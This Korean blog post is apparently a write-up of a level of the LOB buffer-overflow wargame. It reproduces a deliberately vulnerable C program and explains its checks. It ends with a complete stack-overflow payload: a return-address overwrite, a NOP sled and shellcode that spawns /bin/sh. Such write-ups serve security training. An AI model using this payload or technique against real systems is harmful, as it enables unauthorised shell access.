lob

goblin

oogu ㅣ 2022. 12. 9. 16:25

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

extern 변수는 다른 파일의 전역 변수를 사용하고자 할 때 사용한다.

C 프로그램에서는 environ이라는 전역 변수가 미리 만들어져 있으며 이를 통해 환경 변수 목록을 확인할 수 있다. 다른 곳에서 미리 선언한 상태이므로 extern 문으로 environ 변수를 참조하면 환경 변수 목록을 확인할 수 있다.

중간에 egghunter 주석을 보면 memset 함수를 사용해 환경변수를 초기화한다. 따라서 환경변수를 사용할 수 없다.

 

1. argv 형태로 입력받는다.

2. 환경변수를 사용할 수 없다.

3. argv[1][47] 값은 '\xbf' 이여야 한다. -> 배열 시작은 0부터 이므로 48번째가 bf이다.

4. 3번 조건으로 ret 주소를 스택으로 해야된다.

 

[그림 1-1]
shellcode를 이용한 payload를 작성해보자 payload = "A"*44 + shellcode 위치 + shellcode

shellcode위치를 찾아야한다. 근데 48번째는 \xbf 이므로 일단, r "`python -c 'print("A"*44 +"\xbf\xbf\xbf\xbf"+"B"*100)'`" 입력한다.

[그림 1-2]
breakpoint를 ret 명령어에 걸고 run을 한다. 48번째 글자를 검사하는 if문을 통과한 걸 보니 \xbf가 잘 들어간거같다. [그림 1-2]를 보면 0xbffffa7c 주소값이 ret 될 주소이다. 따라서, 0xbffffa80 주소값 부터 shellcode를 넣고 0xbffffa7c 주소값으로 0xbffffa80 넣으면 된다.

완성된 payload 는

./orc `python -c 'print("A"*44 +"\x80\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`

이다.

[그림 1-3]

nop를 100정도 넣어줘야 exploit 된다. -> 왜 그러징

 

 

 

 

 

 

 

 

 

 

참고 블로그

https://ehpub.co.kr/tag/environ-%EB%B3%80%EC%88%98/

 

 

'lob' 카테고리의 다른 글

wolfman  (0) 2022.12.09
orc  (0) 2022.12.09
cobolt  (0) 2022.11.15
gremlin  (0) 2022.11.13
gate  (0) 2022.11.13